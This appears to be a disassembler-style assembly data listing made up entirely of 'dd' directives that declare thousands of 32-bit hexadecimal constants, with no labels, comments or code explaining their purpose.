dd 38AD6DACh, 3B222EA7h, 0EC82CF75h, 55B17B1Eh, 31AB0AE8h
dd 0AE855B17h, 5A1272BBh, 0D5C25B49h, 380D94h, 0A43B8D7Ch
dd 0FC14FCB5h, 366BA300h, 0F8BF056h, 7B41EEBAh, 64E6BD80h
dd 0ADCF12BAh, 2F87BC1Ch, 0D317EB33h, 0D5DF628Ch, 0F2A71FB4h
dd 4A592A79h, 0C084E58Eh, 24868813h, 0F7BFA83h, 5D0A005Ah
dd 1E54E938h, 0B9F2429h, 0F8A136B5h, 88A584A7h, 0B87212D2h
dd 273FCA5Ch, 431B7E93h, 45825256h, 160D42A1h, 0A8B67328h
dd 8768ABEAh, 0BA57AB3Ch, 92E27955h, 0C5C955F6h, 84EC624Dh
dd 1567409Fh, 798956DAh, 0EEA92FBh, 6E2E564Eh, 0BA69CAA6h
dd 0D49CAA14h, 5AE08AAEh, 3F945917h, 0D6B6C40Eh, 0C2E65638h
dd 0D75F8A14h, 0B47E392Dh, 35FA9298h, 40F065E5h, 0D78A4857h
dd 4E97F5D3h, 0AA3992C5h, 0E1F1A706h, 49BC9BADh, 0E9EAB6E6h
dd 66E1F94Ch, 18C35E5Ah, 71D30BB6h, 0E1531D14h, 387974F1h
dd 88D6B856h, 52F47A38h, 40886D08h, 56842BFFh, 0A45096D0h
dd 3CA58B5Dh, 0E6E558D2h, 0D0A98470h, 0A85D431Bh, 88CEF95Bh
dd 6C820E6Eh, 77C3D43h, 33429885h, 650050E6h, 0D11A88EDh
dd 780C42F1h, 2733B3C0h, 764AAA8Ch, 9FE29188h, 29C131A3h
dd 0F5C9985Eh, 93289963h, 308AB528h, 654A3308h, 2AAAA2F4h
dd 250A6C0Fh, 89B8D953h, 0E9C89A7Fh, 0FAE26756h, 0D0300D18h
dd 229A94CAh, 1B928CCDh, 0DB860F86h, 0DBE2EE3Eh, 0B78C0C3Eh
dd 3DA100EBh, 79935CA8h, 0A03ECFFAh, 6A19586Bh, 0DA4565E0h
dd 4C5199E4h, 54EE4007h, 0BA756F60h, 0B48B9694h, 358B0075h
dd 0F287979Dh, 68A827AFh, 0A72BF7B7h, 0AC69A99Bh, 1A6A18BCh
dd 0C661BBDBh, 7A0AD665h, 6C25DCF8h, 25E5F304h, 85DF66C9h
dd 1DD369Bh, 0D3DDEF02h, 2452B8D9h, 0FE0E37E9h, 0C35A0622h
dd 5E1C1444h, 93283B5Ch, 0A79CE48Fh, 468399EBh, 2779F63Bh
dd 19143075h, 163624h, 0EDFDEDCBh, 68B85127h, 0F9AFC087h
dd 5E043A6Fh, 3D6E1CD2h, 0DEA0ABDDh, 4A441A79h, 56E62803h
dd 3783C8BDh, 5B4B2700h, 0C1085A36h, 631162F6h, 0A8672F94h
dd 0F94A306Ah, 90BD743Eh, 669C140h, 2B4A1C8Fh, 6E84D80Fh
dd 18579961h, 8DCBC9Eh, 0AE9B78EFh, 35B24B35h, 0A03EF24Eh
dd 0C54126BCh, 6AA70415h, 4458501Eh, 32F7C9E3h, 942939E5h
dd 3407B942h, 0C4462B71h, 17E6F953h, 0EF695363h, 296AA60Ah
dd 80BAEBA4h, 73E2A60Bh, 5AB5E64Ch, 0D05815C9h, 2A4EA65Ch
dd 39CAC884h, 0DE769E4Bh, 2D78AE18h, 0ACF9C521h, 56914652h
dd 8634B388h, 0FD90C45Fh, 56D12E4Dh, 6191117Ch, 20643161h
dd 2AB5E318h, 966C4467h, 89CA188Ah, 62C665EEh, 0A1A909ADh
dd 0A82D8426h, 0CA7AFB2Dh, 33BA14C4h, 0A6BEB2E4h, 0A1479575h
dd 4784F17Fh, 2613B4D1h, 6EACAEECh, 73C76C77h, 0D829F0B8h
dd 0ECEC3264h, 5DAABC74h, 5097819h, 5D4776A8h, 464BFB6Ch
dd 0D8C4E4F2h, 0F850C647h, 0C671EA95h, 5249F2CEh, 0C9308F7Ah
dd 0CF907DC0h, 58719A4Bh, 5DA6FC87h, 0F1E41655h, 54143D5Bh
dd 0F64027B2h, 0E7B3E1E4h, 0F282E6F0h, 5D9DD8B8h, 0D7C5BA0Bh
dd 87B44695h, 435871ABh, 0F8D2E845h, 8B8B9438h, 0A5DF6FA8h
dd 8BA4D9BCh, 7F76BB3Bh, 367B5F0Fh, 487B89E1h, 0B71E9964h
dd 1A865B0Bh, 9522B68Fh, 0D9D020C7h, 153AE9F7h, 6B306EABh
dd 30CEF512h, 0AF84D783h, 0E65FA066h, 1A12C5B9h, 0A10D9402h
dd 3953A777h, 978B3501h, 0CCCD446h, 4385197Ch, 1306D9C2h
dd 0C24DF02Eh, 1F985A8Dh, 5650CDF9h, 0AD8ED6Ah, 0C7B874F4h
dd 0F8C163A7h, 110D7874h, 7B3DE909h, 0BE305D0Dh, 0CA47AB26h
dd 0ABCE7253h, 9CACAC11h, 0AB10C5D5h, 0B247E77Fh, 4B2638BAh
dd 13FEA730h, 51B0DE56h, 8CD0564Ah, 0E1BF4BA8h, 9EAE4774h
dd 51F39A97h, 6ECB6D74h, 8F0268F2h, 23539D6Fh, 0F74B3D32h
dd 851C3438h, 83ECFB82h, 0E92CD1E4h, 0A67C5166h, 0D6CF551h
dd 1BA4A321h, 42841F94h, 1B73FF2Bh, 0A0780E6Fh, 1C6AECEAh
dd 0A5A38678h, 993D4AA9h, 0EF167F24h, 405B3E0Eh, 0A5C918D8h
dd 0B6D39D94h, 0EF95EEBh, 8669BD50h, 5BA3B1AEh, 2FA51E83h
dd 778C5214h, 1BBFD9F2h, 0FB64E2C2h, 90611097h, 0A45BF7ECh
dd 0F15378C9h, 873116Fh, 27865F17h, 9E3C4548h, 57493A87h
dd 0A9CB5D08h, 0F5A3C399h, 66397E4Dh, 1ED86543h, 22892D33h
dd 0A4BE8FABh, 9B67B10Fh, 0E944DB88h, 6E43FFEEh, 45F97618h
dd 331AF514h, 58C3FD8Dh, 0E9673DE5h, 24F0C553h, 0CBB38F29h
dd 0D118ECE9h, 0B30A5DD9h, 635D1C43h, 23713630h, 0F0EB5EB4h
dd 0F12B2642h, 55B0DFD0h, 1BE4504Ah, 73FE2A54h, 0BF7DF497h
dd 75455F67h, 14B2786Fh, 0B379898Fh, 0AFEDE899h, 0FB3DD341h
dd 14D69536h, 0BEC5A5Eh, 984ABCC0h, 673D50D8h, 0FCF50EDEh
dd 0DC6D212Ch, 0DBD0D7DBh, 2A9984A3h, 7ACC444Dh, 0E47F04C0h
dd 9DC69E1Bh, 0C10C400Fh, 0D3C37DC7h, 0ABFF82A5h, 0AEC1EF22h
dd 0C1171CBDh, 6896FCACh
dd 5DB7249Eh, 0B62B7ACDh, 9F1F8EDDh, 77863A5Eh, 7E562F63h
dd 0DF9B1939h, 7BA0B401h, 0A3558A48h, 84F132BAh, 5B9AFE16h
dd 0F90EB293h, 671B5E9h, 0FF2067h, 0D1E29943h, 6BD649EAh
dd 867DE68Dh, 185DEE8Ah, 0E7A5EDB6h, 0BF1E3CD0h, 7A99C56Bh
dd 0B25F332h, 553E295Eh, 9B740C11h, 4B54719Bh, 664BE642h
dd 846AB04Eh, 287B35E7h, 0F15727EDh, 0B7CA0273h, 0B6E62288h
dd 45C61F65h, 9EA6E91Fh, 28317C28h, 324EED7h, 256EB1D4h
dd 0B29C31F3h, 0A0873328h, 0D9993CB8h, 0EF417B43h, 0F4BFCB5Eh
dd 42EEF565h, 7069F8A7h, 92857E99h, 97F3FE2h, 3E9F8D64h
dd 801F2A09h, 30A7EDC3h, 0E4BE50DAh, 8CB84BE9h, 0A2A6B65Eh
dd 0ED91743Bh, 49A45D5Bh, 72EAD24Eh, 0E82D142Bh, 0E0C19A9Fh
dd 1B755FB5h, 0ADD092CDh, 40B7782Bh, 2856D44Fh, 0DFD8CD27h
dd 784F50C3h, 465DE8B7h, 0E15F1569h, 85CA1470h, 0AB42F60Dh
dd 4E310DFDh, 37B1686Eh, 267FB42Ch, 0DD9C4E2Fh, 5FE43A63h
dd 0FB34149Ch, 0EA624BEEh, 376544A6h, 6BA51C5Eh, 348371B8h
dd 0DBC04F64h, 0B039493h, 4F7E5547h, 0ED416FCCh, 9E037B3Ah
dd 13FDDA8Dh, 3B61BADDh, 0F27FB4CEh, 94D2CE3Ah, 0FA3C91B5h
dd 43C11DFEh, 6FFBA85Ch, 0DB9CFF01h, 0DEE2547Ah, 0BA9E97F1h
dd 7F8474B9h, 408E16C5h, 419AC580h, 0F17F2AECh, 9F717F61h
dd 0E0D6993Ch, 86E4BB8Ah, 1286F6CDh, 0E982437Bh, 5C74BF53h
dd 57DA295Eh, 2657DA16h, 99FCBFAh, 0CF29F714h, 6A92EB7Fh
dd 0E7FCE77Fh, 0A5FCF7A6h, 0C069E4C7h, 4CCA0E95h, 328388Dh
dd 9E9722E5h, 1D73EE22h, 549E6355h, 4A508544h, 0BE4D8A26h
dd 291DE3A6h, 0FF04DD41h, 504DD4E3h, 0D6B42D86h, 1BF670B7h
dd 1BC1DBEAh, 0A41A5F7Ch, 664DD5EBh, 86059375h, 31D64DFAh
dd 3B433264h, 0AFB400DEh, 9062D925h, 2F07866h, 1DBE3522h
dd 0B27E4B25h, 622E1779h, 9122A707h, 4A5F1349h, 13E66C98h
dd 0E832483Fh, 0B7F92E3Ah, 0F30F125h, 0BAC6473Bh, 78C4C9F3h
dd 0A8309DC6h, 1D06E9ACh, 0F0D82603h, 599E0A0Bh, 0AFCE3F8Dh
dd 86933F6h, 683A82C5h, 0B1832B06h, 237BDBBDh, 0BC6A812Ah
dd 0EA70FC07h, 5457847h, 72CCF4CCh, 10D9198Eh, 0F21ACFF2h
dd 2D66D076h, 2FE0CC3Dh, 0D15B204h, 4808E2A5h, 0FA68335Fh
dd 1497E161h, 5042A162h, 741C6AD2h, 592CBA65h, 99DD27EDh
dd 4C522C6Bh, 0EE85816Fh, 0F0482BC0h, 0EAC99F97h, 0E22B97F6h
dd 680081CDh, 6F72EA1Dh, 0C2AB3002h, 9B1D9B0Fh, 46782269h
dd 978168EEh, 20B902E0h, 9C5BAB31h, 1E200817h, 0A449816Fh
dd 81C9894Ch, 7638858Eh, 0A9541378h, 0A39B0F53h, 17A7CD87h
dd 0A41ECE45h, 0E84B052Bh, 37A7655Ah, 77213D45h, 391B99E0h
dd 5DC556B0h, 1D984847h, 0C7E48958h, 2FE6BF66h, 617E63Eh
dd 1AF043E5h, 3903EC08h, 0E0EB76F9h, 0E17EC3DBh, 681281F0h
dd 0DE1DCBDAh, 103BFBAFh, 1F35378Dh, 0DF175921h, 0FD3AF102h
dd 0BF1A9742h, 4ADDBF19h, 0C279785Dh, 71EFBC11h, 0DC75AF10h
dd 0AB30E813h, 7C5F9774h, 8030A61Dh, 72D0F92Eh, 17F41A55h
dd 9C78869Fh, 0D0287FC8h, 54294551h, 7A518FE3h, 59B1E5D1h
dd 8C36BA1h, 2B716CD1h, 0DB8F5EAFh, 0F0301AABh, 729489CBh
dd 8CBEFE0Fh, 0D72F4D1Eh, 0F1FB6E51h, 53D6A51Eh, 92099935h
dd 0CBFAAEC5h, 0B191C1FBh, 1F2FEAC6h, 3A550510h, 8502A01Dh
dd 78E19D88h, 0E674685Ah, 25FA78F1h, 288FFA54h, 684B8C4Eh
dd 53544D9Fh, 12674607h, 0C2FC86h, 1F1E1132h, 5C7841C3h
dd 4BA7A64Fh, 0C1471E0Bh, 1E16CF77h, 17D0BF7h, 33461E1h
dd 0D7335E06h, 0C7E5FCD8h, 97F2AEB7h, 23E72F5Bh, 55915B17h
dd 2C1B5E12h, 0D579C417h, 0ECC5BE40h, 0D73D6E40h, 612CB711h
dd 0E029D6E7h, 1E19C1C5h, 70AA3087h, 35609B7Ch, 0E15E27E3h
dd 0AD815678h, 0B8B919E5h, 0E778AB2Fh, 78B92643h, 57C05E27h
dd 0A599FDAh, 1E38F0A2h, 73580BC0h, 0E507C5FDh, 65E947E2h
dd 5C9356DFh, 0F88E98AAh, 0DB83F78Bh, 529606F4h, 5138B0F1h
dd 0EA6D3D2Eh, 0EF01BD33h, 46B71759h, 3031AC05h, 0DE8A3B1Bh
dd 33E2E446h, 0A3147F59h, 0C20C874Ch, 8D513788h, 91CC7EFh
dd 7493AD23h, 91185F87h, 99440185h, 1AE215E8h, 6615C40Ah
dd 74A22296h, 3A502F04h, 1ED81720h, 1C7ADF3Bh, 0EB7B524Ah
dd 0A9344778h, 0C40E12E0h, 4C0615EEh, 9184B287h, 0B0B24996h
dd 1066B21Fh, 0C96F8386h, 0C4EF31C2h, 0D8F2CEB2h, 0B1EBB980h
dd 53217F3h, 5B7D2B68h, 0BC46BC93h, 0BC793E2h, 0CB0D31E9h
dd 353D6840h, 0BAFBE85Bh, 6175FFD0h, 0D16ADE58h, 980C976Eh
dd 2DFAF03Bh, 80BC9287h, 56433FCCh, 98E46AFAh, 3751E81Ah
dd 664F64D5h, 0F64D7C62h, 35311044h, 0CC986BDh, 35B9B908h
dd 0EE6E437Eh, 0BFC1C5E2h, 55AFF8D4h, 0B7E2657Eh, 0A422E0F3h
dd 79D18D9Ch, 0FA83D02Dh, 0A51066BCh, 441309EAh, 1BCC7C55h
dd 0FA173013h, 775C6185h, 33A711Eh, 285CE6h, 243B16CDh
dd 0C3CEA9CCh, 0EA687055h, 385911F2h, 0D985F6FCh, 0BBAD0087h
dd 0BDBDC907h, 0B187B260h, 6CDAA32Eh, 73D5D546h, 0D3807504h
dd 4E628716h, 813E8BC0h, 7EDF84B9h, 0D0AE71E3h, 9685E49Ch
dd 0C2875F11h, 4CCE8606h, 5D0650F4h, 5EA9C54h, 9C595385h
dd 30E1ED89h, 99853B6Eh, 1CA403B4h, 0DF40996Eh, 0E62049F8h
dd 5871DE22h, 0F8B5E5DCh, 5E27210Bh, 250C4033h, 0D07DD5FCh
dd 67F7CF7Ch, 19E19F96h, 339A16E0h, 0CE6D4441h, 0A620935Ch
dd 965A9D3Bh, 4309B4BCh, 0CE95452h, 8690CAEEh, 8EE8533Ch
dd 6E6C1066h, 9835ECE5h, 7A704C2h, 3306034Dh, 8A24D732h
dd 0A421FF99h, 0EF721C29h, 0ABC9F835h, 80D3D139h, 4372A2BAh
dd 64636602h, 3AB500B6h, 3385B34h, 30F6F5C5h, 709342F4h
dd 2C016826h, 78209DB9h, 0DBE63506h, 156F5885h, 0AFD73FF0h
dd 0AA84504Ah, 82540A74h, 6CD93624h, 44D7B461h, 9F47841Ah
dd 52E43767h, 5F86BBC9h, 4DE5D9CEh, 5FCF2871h, 67F53183h
dd 0A740A0Ah, 43C59890h, 46A81BD0h, 9E9162ADh, 0A5CAC076h
dd 356F0E23h, 4F3010C4h, 5D07DD98h, 5ACC0578h, 38587B96h
dd 2233030Bh, 0B626AED8h, 69F17243h, 195633ECh, 0A9F97D9Ah
dd 0DFB18BACh, 7EAE88FBh, 451FB119h, 823E5B79h, 308BE17h
dd 0AE9EB76Fh, 4CAEC2EDh, 5D30F812h, 9A4A7930h, 40C9BBC4h
dd 0F412BBD6h, 22C081D7h, 0E96F7635h, 432AE841h, 60AA0826h
dd 8593EA13h, 397F6FD3h, 0F2CCB5FBh, 0AD8B2801h, 5FD9C075h
dd 5A87CFDCh, 0ABAD0990h, 4E71ADE4h, 5EBF6B53h, 5F7CEA07h
dd 61AA99AFh, 0A41D2A9Fh, 0F418445h, 0DC38358Bh, 34589D9Eh
dd 0F0F322B3h, 0EA4C0CE8h, 3F426D81h, 6500CD26h, 2823E50Dh
dd 616B02Ah, 8E809E5Ah, 331FCD0Ah, 3851A207h, 0C3E2A65h
dd 98FE84B9h, 0B20A7AD9h, 3CF0FB11h, 0CA7DB712h, 0EFA0F3E3h
dd 101ED2A9h, 0A0587C67h, 0D62C3697h, 0BC43A856h, 19C51782h
dd 2E83EDE8h, 568F7D0Fh, 0E7419C6Eh, 0BA77AFA8h, 78D3F8D4h
dd 80C7AC61h, 0E8959A1Fh, 61377419h, 5FA17D2h, 0F76899E8h
dd 0EDFC37BCh, 3F69C32Dh, 43799359h, 0CDB302E1h, 33ECC625h
dd 6413A59Ch, 7C7E5402h, 2BFE5D06h, 0C55FB9E5h, 57EECEEh
dd 45D3993Bh, 0B33CE2A6h, 73DAE99Ah, 0D2EBC9B4h, 984DA5EFh
dd 0A02D550Dh, 7383B72Fh, 2A1C4858h, 576A7324h, 1677AD70h
dd 0BDF9EABFh, 0EDE55A74h
dd 0C5E08E15h, 31C2BD89h, 1B4633F3h, 18DBDD48h, 0A58C6EDDh
dd 0D37861EEh, 6A500C31h, 0ECBA3EFCh, 586E34F8h, 86D52502h
dd 1A42526h, 41D37BE5h, 520A3BDFh, 4391F629h, 0F130BB35h
dd 59690FDBh, 0D06DC5A2h, 6B72DC21h, 40B46F9Ch, 965BE85Ah
dd 61437060h, 0DBCA9CB9h, 0D47B03B8h, 374B0F28h, 78399538h
dd 0CB063DAh, 5E1B22B4h, 30DF11BDh, 92001B88h, 61A6F1D2h
dd 0D7F2A02Ch, 2AD9E06Ch, 4ECD7B75h, 6140F5AEh, 159308BCh
dd 0F008EBCEh, 1953F60Ah, 0BFE539C6h, 0CB1C8CD0h, 957CCE81h
dd 76A4C735h, 0B62DFD9Dh, 9738BCDCh, 0F2107E5Bh, 1D6FE430h
dd 0C8326C08h, 1B26FE3Dh, 0E50EBB6Fh, 1E5A3495h, 0CE289687h
dd 0A4420A59h, 4DCB5CE3h, 0F8697E05h, 0F0BB2415h, 0F288C1CBh
dd 9063F00Bh, 0D4C8A046h, 1FE961E2h, 50510220h, 0BCFEA875h
dd 0DB37ADB8h, 0D813E4BBh, 338C1ED7h, 2CD2070Dh, 28836D2Fh
dd 0DDF030A3h, 0FD2D3F9Fh, 901D6E53h, 0E27BE57Bh, 0A9727478h
dd 8FE95205h, 4D060033h, 95366956h, 0B72BB3A1h, 0C09D51A7h
dd 0B3EF08ECh, 0DF4FF0B5h, 0DF0C9890h, 0EC8784E8h, 995A56A0h
dd 17168738h, 0E9B8F223h, 0FA1CC43Ah, 3D6D84E7h, 0CD432B3Bh
dd 0A025E681h, 6117EA51h, 0D4D57C36h, 22E22EA3h, 33B26F4Ch
dd 943BB420h, 17F9DBDFh, 17EAC100h, 8E2165DAh, 0E6466CEEh
dd 1653A17Eh, 5EE1F7E0h, 1EDD7761h, 0FCB3ADA3h, 63F2CE99h
dd 3BC7E59Dh, 96754FCBh, 9F97F11Fh, 0E4135B96h, 962C99DEh
dd 0A0DA6CB1h, 0D38D9498h, 8D96D14Dh, 6BA49EE7h, 78D3857Bh
dd 2D0829FEh, 0B24F370Dh, 0E0BC0C60h, 0EF2FEF40h, 0FB6FCF93h
dd 0F1E86E27h, 0DBC4DA8Dh, 6249A37Dh, 45346FA2h, 0CD1BE29Ch
dd 15E96E91h, 18D0CCFAh, 0FA0C083h, 646DFEFh, 3887C67Dh
dd 43C33E83h, 44FBF228h, 85F72C98h, 527EE66Eh, 8E9DF5EEh
dd 2B6F142Dh, 14286F14h, 0D4E2856Dh, 1EC6E942h, 8C8188E1h
dd 0B7F0273Dh, 94E08653h, 2198E11Eh, 67EEE168h, 0CFE5190Ch
dd 9D9EB188h, 173671EBh, 9E576E28h, 0A9D784BAh, 0F46F129Eh
dd 0B800DCECh, 7005C468h, 3D676981h, 0B9D06338h, 131CBC95h
dd 79D9E1BFh, 884CE01Fh, 5A9792F3h, 0B9D19A70h, 83F79C8Ah
dd 4B9D0A33h, 8C71C428h, 8325E428h, 57104770h, 0E223380Dh
dd 3782F192h, 516834E1h, 0DC28262Dh, 66CCBDF3h, 0EF09B866h
dd 27140607h, 1B197843h, 0A8AE1854h, 0FCA90EE6h, 0EB7F2DB2h
dd 5D3A5919h, 9F4CCE7Bh, 0D5478498h, 0A4D68B4h, 0B9454DB5h
dd 68770888h, 248A0BDFh, 5F9C1CBCh, 0B3592E55h, 0A1A7173Eh
dd 8517E2F4h, 3473FF7Fh, 3D60DC7Dh, 10675C27h, 0A0F6F063h
dd 10BB4421h, 0BA5CB30Dh, 0AFC9DCA3h, 0BABFFF1Dh, 0A4ADDCA3h
dd 0BF424C52h, 0CE39277Eh, 0E0FE84EEh, 9ED98894h, 137E38D7h
dd 0A3366D2Eh, 1BCF40ADh, 0A50A5BC4h, 0D361009Bh, 1E9EC0EEh
dd 38703BFBh, 0A3FE1968h, 7A1B70CFh, 327A98D0h, 55EEC5F6h
dd 0E5E8A2FCh, 0E2815DCBh, 30F70561h, 94478A05h, 8EB89513h
dd 234B2098h, 6557461Eh, 0C87AE30Fh, 0AEF99317h, 1A7D0F4Fh
dd 0FCA38903h, 0FBEB27Dh, 0FFB1D694h, 49DB4F0Bh, 0B2A0F223h
dd 29428531h, 21E82935h, 0BBCC9711h, 83BCFF5h, 8DB726DAh
dd 714D5823h, 85D3D5F4h, 11E1AF11h, 9146C43h, 688078EEh
dd 9346C65Ah, 86268A11h, 0FB1027D8h, 3C7A8F10h, 68252852h
dd 94C11F29h, 0E8188567h, 1743EE4Bh, 0DFDD1E75h, 0C783C31Ch
dd 0B48F61Eh, 0CAE3875Bh, 7BDB44AFh, 0DCB9A351h, 18B432AFh
dd 2B3429F0h, 32F6E760h, 0D95A3F87h, 726D9C46h, 6E9AC54Fh
dd 6F32D118h, 0CD01C3A8h, 7BF1DB1Dh, 0B89E8C68h, 44E4B82Dh
dd 5141801Bh, 0BDF26717h, 59259EBDh, 0BDF70BB8h, 0E85DEEACh
dd 3A778A5Bh, 0F19B233Dh, 0B2FA5DA6h, 21FC020Ch, 0F2139C0Ch
dd 26BE80D5h, 0E033AF80h, 39EFD82Bh, 88A759BEh, 5200E53Ah
dd 0BECF15Eh, 94EBF651h, 0DBB291C7h, 794433B3h, 21B4A746h
dd 7367BB65h, 2907B288h, 154A056h, 9C06ECEAh, 110EAD72h
dd 42C4E9F7h, 98903A24h, 0D01E2211h, 0B4488989h, 221AD123h
dd 8389D41Eh, 338809Bh, 9D26CA89h, 1E275BB8h, 5C05E247h
dd 22123BAEh, 0FB89D4EEh, 890A7890h, 8F8884CFh, 489DC4EAh
dd 0F89157Ch, 0EB8F8887h, 0FC48CDC4h, 421B1239h, 0E27527C4h
dd 2076246Ah, 6C4424B1h, 483989D1h, 2D3120F4h, 0CA1CDC44h
dd 41EF1227h, 0D8885C62h, 121913A6h, 0ACCDA0EFh, 5DB13ACDh
dd 0D4029E27h, 3C48A9D9h, 0EA76221Eh, 0E242EC4h, 887E6AD1h
dd 0DC4EB0F8h, 4813C48Dh, 0DC44347Ch, 90DB13A1h, 8A247BF8h
dd 28576221h, 4FC4489Fh, 10929EC9h, 9F2870F1h, 6DCBC448h
dd 0FA058E3Dh, 0C80D0EDAh, 1929ADDh, 0DEA7C47Ah, 433A09Bh
dd 9D1CA2B6h, 5B6D8305h, 9F264CCDh, 0EF66EE80h, 7ED13EDAh
dd 4C28FDB2h, 40994115h, 7EA70365h, 51912930h, 681D6B9Dh
dd 72D290BBh, 0CC85DB6Dh, 98E4E287h, 1CAFB145h, 72D25BA5h
dd 3031FCFBh, 0E1020AE1h, 77CA290Eh, 0B132D4D1h, 0C902C2EDh
dd 94D26F06h, 177BD03Ch, 7ED89F6Dh, 4A46EA54h, 0E6384BC1h
dd 6C0F1667h, 3C59985Ah, 667E69B8h, 0D4A6D0F1h, 0EE9B43ACh
dd 823AD6D8h, 0CD374ADFh, 32DA743Ch, 0C3798049h, 0D20CBD08h
dd 5A3F80EFh, 5CE6C78Dh, 0EF302FE3h, 0A4208033h, 0EDB5BCEBh
dd 0F4174E12h, 371B3962h, 81D1CA2Ch, 0DB30D135h, 9D0E4614h
dd 3F6E584Dh, 1478BDBAh, 29D18F7Fh, 4F0EE59Bh, 97EC16F2h
dd 66E46A27h, 1A900833h, 866EDA50h, 42FB02B1h, 1CBAEFECh
dd 0F82DA49Eh, 0DBA9D5C5h, 58A87119h, 77721526h, 485DCD48h
dd 7EDBA16Ah, 0DB1ED32Eh, 0ADB46BFEh, 5C59E723h, 80C2BD35h
dd 85F8D591h, 5EEC604Fh, 2CCDB40h, 0D7940582h, 2D365001h
dd 4DAA6CA8h, 0EC78D473h, 4FB0F21Bh, 94FBC555h, 70DFE2FFh
dd 678BB7D1h, 0EF32140Dh, 0D4839842h, 0C027C2C8h, 0F67288EAh
dd 0F6629876h, 0BBD78994h, 0DF61D203h, 91982CC0h, 0C35E23CBh
dd 47CB4FE7h, 32345C94h, 38150E70h, 72E686DCh, 2E294DA8h
dd 94F9E3E0h, 1E3C44C6h, 45B71671h, 0C1A5E4F5h, 0C5528510h
dd 0B151979Fh, 97A5DEC6h, 2781B6D9h, 0D7AF7C0Dh, 241C4AA7h
dd 0C9D27EC5h, 284E313h, 45B5150Eh, 0C712FE19h, 0CB138B6Fh
dd 0F8A8C91Fh, 755E1EE9h, 9DDCBE68h, 6BFCD26Bh, 0E635F832h
dd 0B0783799h, 3A062625h, 0BA7D2D6h, 0E61288BCh, 0EAE80BC1h
dd 829EE8C0h, 5BF04334h, 9C97A14Fh, 0E6EBF85Dh, 0D1CB9E17h
dd 5645635Eh, 0C4EE94AFh, 43B0FE2Bh, 7F5586FBh, 0AB311CC1h
dd 0F16A5E46h, 9FC53442h, 0FECD4BC9h, 0F140A1E2h, 8D4772E0h
dd 9FE615BFh, 305BDC2Dh, 906C37DEh, 3B46F66Eh, 0E10A0B4h
dd 1835D2D0h, 82FB9699h, 0B7C5A08Ch, 14454334h, 4ED2770Ah
dd 60761CA9h, 717FC839h, 9A0F03B9h, 0F25F0995h, 559801CDh
dd 0E8C7F32Fh, 0ACD8B125h, 4A81727Ch, 6DB13BC2h, 0ADF31A7Dh
dd 16560CFh, 0D3F9FAC9h, 0A6BB987Eh, 12A0E2BDh, 0E4DDA39Eh
dd 9CC6CBEEh, 40A6E931h, 32B8C347h, 0AC4BF5C0h, 0E08EA814h
dd 0D06288B4h, 4DE77DEEh, 0E614B5EDh, 946264CBh, 0DEBB8992h
dd 0CE58F989h, 42D0795Bh, 6C7AA0Ah, 0E610D435h, 3A1BA6B4h
dd 834EEF85h, 14B39774h, 207E06FAh, 8AC84F50h, 0EBF6627Ah
dd 930387Fh, 6E9A2ED7h, 66D51AF1h, 3CED9668h, 5179D35Dh
dd 8D7DA765h, 18F03321h
dd 0F9456BFCh, 8F1A392Ah, 22804CD7h, 8DA8CD16h, 9B941053h
dd 0BE98DBBEh, 1015C9FBh, 766BC46h, 0DA249588h, 9F19A0F0h
dd 793BAF22h, 0C7534925h, 0E44C06D4h, 0DF5A108Ch, 4A3D0897h
dd 0C9AD3F95h, 0AA2B56Ch, 0C0370D6Ch, 179A191Ah, 0EA41AF74h
dd 0DDE99F5Eh, 85E6086Bh, 18E9685Eh, 440AD681h, 0EE46D79Bh
dd 422ABF47h, 0DFD3B6BCh, 537ED0Ah, 5DBA17B7h, 40E7849Eh
dd 0E98F7417h, 0B5282835h, 0AAC901A6h, 18DA9DC1h, 48A4862Fh
dd 7368B21h, 0D6450F4Fh, 0C59155F6h, 313BDBAh, 48D0CD5Bh
dd 0CBA0FB2Ch, 3459D722h, 4A4D0313h, 2A7494FEh, 45238F0Ch
dd 55B27E56h, 0FCF162BCh, 71788487h, 9230216Bh, 48D4B4D2h
dd 0F1F0C429h, 0D0DC58FFh, 1DADF4B2h, 0FCA65E08h, 0DF49EA06h
dd 0CD3B80C6h, 2FF96E9Dh, 3ADFD576h, 2DC59992h, 5AB66693h
dd 0E72EBF5Ah, 3BFB71CDh, 55237106h, 0F68063A0h, 0E97BB953h
dd 0FE39EA85h, 48CAD530h, 3B8F14B0h, 3B8FC67Dh, 0CDEFAB0Dh
dd 4B38616h, 109DD34Bh, 0F39BEC3Ch, 987D89C1h, 7F677417h
dd 83E710EBh, 0A4469967h, 0FADD2189h, 0CCAD8800h, 558A91D6h
dd 69748FB1h, 9037CBD2h, 6C38B303h, 0F2BD5934h, 91CE12A7h
dd 3239C43Fh, 0F0C3659Dh, 7F26ADC3h, 7E53B0EBh, 24C93513h
dd 0C4BD7F95h, 68E53F6Bh, 0CF6849FBh, 4A1C42BDh, 80BAE965h
dd 5A620710h, 5F49B871h, 0E21152B6h, 0CA65CC18h, 8E34488Ch
dd 0D67F72DBh, 0DF74D207h, 16F1469Dh, 0A7E54DF9h, 661F25F8h
dd 75C11993h, 14AA8BBEh, 0BCDE563Bh, 0BE1FCAFh, 0B26F1CC8h
dd 0B1A4DE6Eh, 277AC643h, 61A07AFAh, 0FE7D76B4h, 9ECF1DB4h
dd 5DB50E2h, 5411FC35h, 6E2861F0h, 0ADC9271h, 0E9A0672h
dd 78FE00F8h, 0B09FC962h, 0FDB5505Dh, 7006DBE4h, 20696833h
dd 76ECD93Fh, 0D9E342F4h, 0C7407549h, 13925B24h, 871DB18Ch
dd 0E7BB648h, 0ABA9082Fh, 0FDCAA8A4h, 7107BE9Eh, 0FE4F7BFCh
dd 58A66A06h, 0A08EBB7Ch, 76E89EB4h, 883FF67Bh, 3D9FC4AAh
dd 2017B9BBh, 4EA4E88Dh, 4886248Dh, 95234B2Ch, 7C2A468h
dd 7BF57143h, 0FAFE4232h, 9A891674h, 74886B3Fh, 3E0D275Ch
dd 1E6749C0h, 74C749D0h, 0D48D31D2h, 0EBF52215h, 0D23467A4h
dd 29D221A3h, 91A2D49Dh, 0D3A4421Ah, 46A5693Ah, 0CE910C2Ah
dd 1A39A4E8h, 52443129h, 48D31274h, 0D2745B03h, 5B852840h
dd 8860E938h, 9E93A834h, 423B48D4h, 249D21A4h, 9C95A46Ah
dd 0C36806B4h, 0C4455B40h, 0D8AC4E14h, 76DF2867h, 5696EB18h
dd 8DB40C40h, 683F0961h, 0A0720519h, 0E5DEDBBCh, 0B847A6D0h
dd 47016BC2h, 0A58E217Ch, 0FA9B5582h, 0E6CC28D8h, 0FE1130C8h
